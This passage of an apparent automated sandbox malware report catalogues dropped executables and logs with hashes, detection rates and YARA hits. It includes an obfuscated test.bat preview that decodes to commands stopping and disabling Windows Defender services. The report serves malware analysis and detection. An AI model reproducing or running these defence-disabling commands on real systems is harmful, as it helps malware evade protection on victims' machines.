SSDEEP:	48:MxHKXwYHKhQnoPtHoxHhAHKzvKvDfHK7HKhBHKdHKBSTHvmHKAHK1HxLHG1qHqHJ:iqXwYqhQnoPtIxHeqzyLq7qLqdqsOqAh
MD5:	B45D55477BF95FAF8A2EF5FEB849A585
SHA1:	A6E80A30D21CCDE63DA49DC3AB410209FDBBD1C1
SHA-256:	FB7B2E11B22AE4F6DC31B3808B516811D11D724903D666E5B36D46C3C40413E6
SHA-512:	D0F04226B7E20193C70E56904D8AC6C54F5B989748F06EA929BB6237EA48FA436CA54F7F0D90BA631141C66E1422639FF2C09219439B3A46B657FBF0973E6F93
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\60DF.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\60DF.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1039
Entropy (8bit):	5.365622957937216
Encrypted:	false
SSDEEP:	24:ML9E4Ks2wKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7K84jE4Ks:MxHKXwYHKhQnoPtHoxHhAHKzvKvjHKs
MD5:	AE8CFF33270358D6EC23793128B3EF2F
SHA1:	5E6B156157EDEA4222A5E0C258AE9ADEBB8CB7CE
SHA-256:	498EAB9F855E7CE9B812EAD41339A9475127F0C8E7249033B975071D2292220C
SHA-512:	473111AD332D5E66724AFB0CE5A1E1C97890D60484A818D1DB8C2386A99C05BAE6C9D5C535DDFB6790BF5707C153502B938BE201393A3D70342A62902E0A3C98
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutra

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	14734
Entropy (8bit):	4.993014478972177
Encrypted:	false
SSDEEP:	384:cBVoGIpN6KQkj2Wkjh4iUxtaKdROdBLNXp5nYoGib4J:cBV3IpNBQkj2Lh4iUxtaKdROdBLNZBYH
MD5:	8D5E194411E038C060288366D6766D3D
SHA1:	DC1A8229ED0B909042065EA69253E86E86D71C88
SHA-256:	44EEE632DEDFB83A545D8C382887DF3EE7EF551F73DD55FEDCDD8C93D390E31F
SHA-512:	21378D13D42FBFA573DE91C1D4282B03E0AA1317B0C37598110DC53900C6321DB2B9DF27B2816D6EE3B3187E54BF066A96DB9EC1FF47FF86FEA36282AB906367
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE......<.e...Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........<.e...T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	22144
Entropy (8bit):	5.604450109700116
Encrypted:	false
SSDEEP:	384:otCD3098y4AaXvdQfb09B6CzCS0nMjultItu7Y9gpSJ3x+T1Ma3ZlgRV71k3DqZP:MEdMbYB4TMCltSKpcsC2fYpFV1
MD5:	E28D076957D9C22D965203EB7A55B4CB
SHA1:	1ABFAB7C77BEE3B46DD13FD8224AEAF83554FEF6
SHA-256:	124BFBCEE44CD200574524E377A415B8E5BE6673DEA653AAA596F3AE5EF0A811
SHA-512:	832E404FEEEAE031BB8422CD2FBAAA73D60936132746D69F88514EA362220DF7D0F9171EDF12C50E54EDABB5935576360104F2F0B85EDA1DA0A2173EFDF694E4
Malicious:	false
Reputation:	unknown
Preview:	@...e...........X.......h.................J..........@..........H...............<@.^.L."My...:<..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\1105.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\4EDC.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1622408
Entropy (8bit):	6.298350783524153
Encrypted:	false
SSDEEP:	24576:hNZ04UyDzGrVh8xsPCw3/dzcldJndozS35IW1q/kNVSYVEs4j13HLHGJImdV4q:dGrVr3hclvnqzS35IWk/LvRHb0
MD5:	BFA689ECA05147AFD466359DD4A144A3
SHA1:	B3474BE2B836567420F8DC96512AA303F31C8AFC
SHA-256:	B78463B94388FDDB34C03F5DDDD5D542E05CDED6D4E38C6A3588EC2C90F0070B
SHA-512:	8F09781FD585A6DFB8BBC34B9F153B414478B44B28D80A8B0BDC3BED687F3ADAB9E60F08CCEC5D5A3FD916E3091C845F9D96603749490B1F7001430408F711D4
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 2%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L!y>.@.m.@.m.@.m...l.@.mg$.l.@.mg$.lN@.mg$.l.A.mg$.l.@.mg$.l.@.mg$.m.@.mg$.l.@.mRich.@.m........................PE..L...s<s............!.....,...................P....(K......................................@A.............................&..............8............h...Y.......N..`l..T............................................................................text....).......*.................. ..`RT...........@...................... ..`.data...dW...P.......0..............@....mrdata.h#.......$...>..............@....00cfg...............b..............@..@.rsrc...8............d..............@..@.reloc...N.......P..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\37D8.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	512512
Entropy (8bit):	7.846723941917503
Encrypted:	false
SSDEEP:	12288:Tw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+LF:TVhdLVg2Zep7njXzPDxC+J
MD5:	F57B28AEC65D4691202B9524F84CC54A
SHA1:	F546B20EB40E3BC2B6929BA0F574E32422CED30C
SHA-256:	87D86132095541ED3B5FE05EB06692E1712287B6FFD9832A28EB85F52B55F0A5
SHA-512:	1A773186B0A15F743F8D9681036A9ECA45E2DD5F7944725498E929C5438ACFFCD753061EB475383E5759FC41A8ADE4EB717F3D3529313C3C0D48C659B5E36F09
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\37D8.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.................. ........@.. .......................@............`.....................................S............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H........u...p..........HZ..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\3AE.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	262248
Entropy (8bit):	7.344044114091331
Encrypted:	false
SSDEEP:	6144:7Zd5yNguYYTkxcNQoF8KzJugf/vTvN9KQqJIo:7Zd5yNguPQyNQYJuSvDLKXIo
MD5:	EDE62358EA39643E43992E9068E03CA2
SHA1:	0F73E8F96C01135A91D4E1BFECA139AD31C72C15
SHA-256:	187CB817751D6871EB7BE566DD9D9A98A46EDB11391220B69E4FAD695F31E605
SHA-512:	552B31EDA2131C8326996DEBA1812C6A6B23D892DDABDD17C3182FCD43B9019CFC863EED1FF67FA2EC21297E98F61502D3E095972D2C6710D08B3F27EA7A82F1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 14%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....{a..............0.................. ... ....@.. .......................@............@.................................(...W.......XH..............h.... ....................................................... ............... ..H............text........ ...................... ..`.rsrc...XH.......J..................@..@.reloc....... ......................@..B................d.......H.......................l...."..................................................................?................................?................................?................................?............................................................................................................ .......@........................................................ .......@........................................................ .......@.....................................

C:\Users\user\AppData\Local\Temp\3FD8.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22528
Entropy (8bit):	5.395556088889033
Encrypted:	false
SSDEEP:	384:ezekc2D26R7pXha5eglsu2tiP39n+NDr7vGuywqFGc1QzOQslg:qJcMnacgl6Q10rSuywCZ1QO
MD5:	787AF677D0C317E8062B9705CB64F951
SHA1:	41BF391CE44004A22BA7F18E5FDCDCFCEA73E38F
SHA-256:	7CFA3F3EBB7DCE336E24DF02D5BA0FDBC081927892D597986113FB11EDF1702E
SHA-512:	8A9BF2D0DF12926F3253DCF5F2B5186928107C36189F404C50C69B67BC09DDA267FACD53E3259ABF3934DE6682BC3B0E49D1D5ACCFA5D4A5B702F4F9EF8D8B45
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\3FD8.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 22%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0..N..........nl... ........@.. ..............................P.....`..................................l..S....................Z............................................................... ............... ..H............text...tL... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B................Pl......H.......PK... ..........................................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\4EDC.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.734269361613487
Encrypted:	false
SSDEEP:	3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5:	73252ACB344040DDC5D9CE78A5D3A4C2
SHA1:	3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
SHA-256:	B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
SHA-512:	1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 80%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x............................text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\60DF.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	161280
Entropy (8bit):	5.163359140538006
Encrypted:	false
SSDEEP:	3072:hj1+ax5s9jVultxyIAMzTjSMzTjoIe1UhCp:hJqjVoeN
MD5:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
SHA1:	6E1ACD6CB17AB64AC6DBF0F4400C649371B0E3BD
SHA-256:	08D67F957EC38E92301EEAAAF2759EF2A070376239EAD25864C88F3DD31EAB8C
SHA-512:	14A1CD1090A2ECCEA3B654EEE2B7D4DE390219F8C3C200D97D2AB431311BDF24B1B40F2F38E78804AD286654CD33DFB515704C9B863DAF0786A0D633F05C9BF2
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\60DF.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 43%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.wa..............P..l.............. ........@.. ...................................@.....................................O....................x............................................................... ............... ..H............text....k... ...l.................. ..`.rsrc................n..............@..@.reloc...............t..............@..B.......................H.......(u..t.......A...HL...(..........................................M...Z...........................................................................................@...............................................................................................................................................................................................!...........L.......!...T...h...i...s... ...p...r...o...g...r...a...m... ...c...a...n...n...o...t... ...b...e... ...r...

C:\Users\user\AppData\Local\Temp\6E1E.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	347136
Entropy (8bit):	5.994706914620217
Encrypted:	false
SSDEEP:	6144:5rT+Wp+Ouiv24iPmSCyf11rcrKElOoL91iH+2k9Q9:5H/p+Ouiv24gf11rcrKElOSiH
MD5:	31BE6099D31BDBF1ED339EFFDC1C7064
SHA1:	6B1077BE6CF57EA98C3BE8B6F0268D025EA72D88
SHA-256:	9D9056D76BE4BEB3CC17CD95C47108AB42D73255F2BC031423D044ED927FB885
SHA-512:	ECC057643C2E65C74F3286C8856EB57FEC75FCB650FBE864D53EC0C36C34E0DA3242E19657B1ABB75AA3EEE88A7367E77FFC0E3FE98BFEF0D180C74966D1CEDE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....q.e.Richp.e.........................PE..L...g.._......................p.....p.............@...........................t.................................................P....`s.h?....................s.....0..................................@............................................text... ........................... ..`.data....io.........................@....daya........Ps.....................@....rsrc...h?...`s..@..................@..@.reloc...#....s..$...(..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8908.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347648
Entropy (8bit):	6.0028359766199
Encrypted:	false
SSDEEP:	6144:2lTbIu4B96zuF5GVM5/xfe7Yrc+dZX6FzbzfS3:2Bb8BCu3Be7Yrc+dZX6JfK
MD5:	2BA5D1028F7BABCA366060BDE97BF482
SHA1:	98C817B375BB002C37C8DFB778116E4C5D07CD79
SHA-256:	555FD11933A1BB3A71714E1C234CDEAF7EA3C614F24EEBEC3786FB61CB3B5B5E
SHA-512:	A708EABF5CB10CE8352CD08FF0E116E37A3274B6EEC347873BD5AB02D716B3DB02F02832318D269BCB03A8AE3F2D901088075D356E69CA3066BA61A1B18656CC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....q.e.Richp.e.........................PE..L...^2R_......................p...................@...........................t.............................................d...P....`s..?....................s.....0...............................p...@............................................text............................... ..`.data....io.........................@....zegu........Ps.....................@....rsrc....?...`s..@..................@..@.reloc...#....s..$...*..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\AdvancedRun.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\60DF.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	91000
Entropy (8bit):	6.241345766746317
Encrypted:	false
SSDEEP:	1536:JW3osrWjET3tYIrrRepnbZ6ObGk2nLY2jR+utQUN+WXim:HjjET9nX0pnUOik2nXjR+utQK+g3
MD5:	17FC12902F4769AF3A9271EB4E2DACCE
SHA1:	9A4A1581CC3971579574F837E110F3BD6D529DAB
SHA-256:	29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B
SHA-512:	036E0D62490C26DEE27EF54E514302E1CC8A14DE8CE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FD41AF4195BA9ED7E32E894767CE04467E79110E89522E4A
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......oH..+)..+)..+)...&.))...&.9).....()...... )..+)...(......()......).....).....)..Rich+)..........................PE..L.....(_.........................................@..........................@..............................................L............a...........B..x!..........p...................................................<............................text...)........................... ..`.rdata.../.......0..................@..@.data...............................@....rsrc....a.......b..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\98e85b6a-1246-45d9-ab1c-f2e36131ecec\test.bat Download File
Process:	C:\Users\user\AppData\Local\Temp\60DF.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	8399
Entropy (8bit):	4.665734428420432
Encrypted:	false
SSDEEP:	192:XjtIefE/Qv3puaQo8BElNisgwgxOTkre0P/XApNDQSO8wQJYbZhgEAFcH8N:xIef2Qh8BuNivdisOyj6YboVF3N
MD5:	B2A5EF7D334BDF866113C6F4F9036AAE
SHA1:	F9027F2827B35840487EFD04E818121B5A8541E0
SHA-256:	27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E
SHA-512:	8ED39ED39E03FA6D4E49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56CACEEE87ACFB7D4831D267189E
Malicious:	false
Reputation:	unknown
Preview:	@%nmb%e%lvjgxfcm%c%qckbdzpzhfjq%h%anbajpojymsco%o%nransp% %aqeoe%o%mitd%f%puzu%f%bjs%..%fmmjryur%s%ukdtxiqneflfe%c%toqs% %xbvjy%s%ykctzeltrurlx%t%xdvrvty%o%tutofjebvoygco%p%noaevpkwrrrcf% %npfksd%w%ljconeph%i%sinxiygfbc%n%ykxnbrpdqztrdb%d%mfuvueeajpyxla%e%ewyybmmo%f%jdztigyb%e%izwgzizuwfwq%n%slmffy%d%azh%..%wlhzjhxuz%s%zuiczqrqav%c%ocphncbzosf% %uee%c%kwrr%o%ofppkctzbccubb%n%oyhovbqs%f%nue%i%lgybsrbqk%g%xguast% %vas%w%tdayskzhki%i%fmmjryurgrdcz%n%emroplriim%d%ymxvyr%e%iqpwnheoi%f%ffehbxrlehlo%e%tutofjebvo%n%ywjkif%d%pvdaa% %trpa%s%xznydsnqgdbu%t%hplrbjxhnjes%a%yhyferx%r%dwcez%t%rrugvyblp%=%zjthdesmo% %ewyybmmowgsjdr%d%snmn%i%mbm%s%akxnoc%a%xar%b%mwm%l%ozlt%e%wlhzjhxuzh%d%roqtalnv%..%hlhdhvi%s%nsespdzm%c%kwrrsgvucidm% %ueax%s%xunijsdqhif%t%prvhhnqvvouz%o%liyjprtqxuur%p%jskzmuaxtb% %vwoqshkaaladz%S%ruuosytlcgu%e%nftvippqc%n%qhj%s%llxrmrlqje%e%tutofje%..%xxnqgsvqut%s%racqhzwreqndv%c%skizikcom% %ytf%c%pxdixotcxymnev%o%dwcezzifyaqd%n%jjdpztfrehpv%f%xxrweg%i%lpfkfswxzemf%g%rxycnmibql% %hfzbr

C:\Users\user\AppData\Local\Temp\B74C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	877568
Entropy (8bit):	7.460431912982712
Encrypted:	false
SSDEEP:	24576:mL8RrSCKsWGpcrFvUUF+NcahNgNTVpTGD:mLi2MWG2hH+NUyD
MD5:	3362B53647F312CD069D71E3662A9155
SHA1:	C122D2F5029DA3F9578328BDAC548DACE7909FBE
SHA-256:	090E1DDC68B328609DF8C734E702E4FECDC55CCE7816DD0A43B3053D79BC6579
SHA-512:	5581C6F5FE04A737D74A5F88451B7A292607C2A5DC83202A8CE0D8E923D38BBEC906C70A926B89D8010E086AD1FE9B9566D71DEEEB5339262D0B31E88FA54405
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 43%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....q.e.Richp.e.........................PE..L....d?`......................p...................@...........................\|.....4\|......................................d...P.....{.h?....................{.....0...............................h...@............................................text............................... ..`.data....io.........................@....yopu........p{.....................@....rsrc...h?....{..@..................@..@.reloc...#....{..$...@..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C651.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	278528
Entropy (8bit):	7.390894610588505
Encrypted:	false
SSDEEP:	6144:IdQPlt1M8RJNHUMb62VCDuy1DzJDGLkjNVlZeJjuzbgwuA7ITsq:Ialt6mJN0x2VmlhtawtcjunnF7
MD5:	FA00DF47BCC5F9AD16ED71856FB6F4D6
SHA1:	561D89B6384A44E6D47AC4B68D04FFFFF3DE3558
SHA-256:	B2F5636B2E78B3F60EA53FD0C7C95656E11C08FAC59869B38A165C7BF39CF1E5
SHA-512:	3A6ACB14B041B341C979F233D881225615B225DAC9E84F0CD62DAEC69818212A9620AE82E4B61BA5547E3A0EB9D1D8442EF52CE86BF093918203D33DDF3283CE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......`.....................6......_%............@.............................................................................(....`..H/..............................................................@...............p............................text.............................. ..`.rdata...E.......F..................@..@.data....<..........................@....xoj....r....P......................@..@.rsrc...H/...`...0..................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D083.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	27576
Entropy (8bit):	5.969933955399239
Encrypted:	false
SSDEEP:	384:bekc2D26R7pXha5eglsu2CfQG9kyf4ZZK61TEYFGc1QzOQs42Aghgn:bJcMnacgl6EWlXzZ1QO4khgn
MD5:	FA6D8115D2266A121FE7C1552C0DDDFD
SHA1:	9166433A1F42AE7A623F26341DD9BBED91A045B3
SHA-256:	237E9E25B4DADE7BD2CCD0F6D59C9D607EEED8E60C1041F10BE3D4C50B37A459
SHA-512:	58825BAF9D243279393A635AEE9E7493682F18105D24CFAAF270BFAE54CB2FFDFE12734D7E3EB34983C554F3599BB73D523029871F28D8AFBF25CD27798C2368
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\D083.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 32%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................"...0..N...........l... ........@.. ...............................G....`..................................l..O.......,............X............................................................... ............... ..H............text....L... ...N.................. ..`.rsrc...,............P..............@..@.reloc...............V..............@..B.................l......H.......PK..L!..........................................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\DAA6.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	791552
Entropy (8bit):	7.368824467033047
Encrypted:	false
SSDEEP:	12288:uDMkBTpEvda0f6dSctc54lTQazT6A/9Or+ilw8lCW0k7ro8R3D3INLf3:QMk+dV6dS6KazZ4rPlw8lCWYQi
MD5:	7917305400EE899130B1D5B7AFA0A159
SHA1:	D45E1A34FE773040D7034A80BBEBB3DBD3EA4252
SHA-256:	80C4B12305B41D2FDCD9DCCD53D2414C3AEA2188198F3D79AF262709C1E2DAC9
SHA-512:	417DECA0BEEE73B6EA8379B85726A9DAAF4DC32721D7A658BA42B9D359A6739F7478D3E0068C8B110497CB222956A1AFA5E1BF28C202965DEDE7A659EB824EF6
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........a..........................^..................................Rich...........................PE..L...m;._......................v...................@............................................................................P....0...I.......................... ................................~..@............................................text............................... ..`.data...H.u.........................@....rsrc....I...0...J..................@..@.reloc..8$.......&..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E11F.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1111994
Entropy (8bit):	7.9252602794269915
Encrypted:	false
SSDEEP:	24576:4CRVwOoPzND9Tl7RUGb+89w4ZFLkAPLYLSeUr:hOhJGTIAAcns
MD5:	27E7D6FAA08A1A69CB7C62D199B1B4F6
SHA1:	507F02D50BA701760A6D2303A648563030FB3ECD
SHA-256:	3896AD778346B9D5B04331410015969F2AF655B6277DBF612721027B73173E50
SHA-512:	7100ED807C5C1C56D5A3FCB4E69BE326F5D14BC44076E2E35355E6B8E3A175ED1B9FF4BC9C82FBCB1C19D1DD552E1D9242CD17CD5C44F9320C067ACA301D1059
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
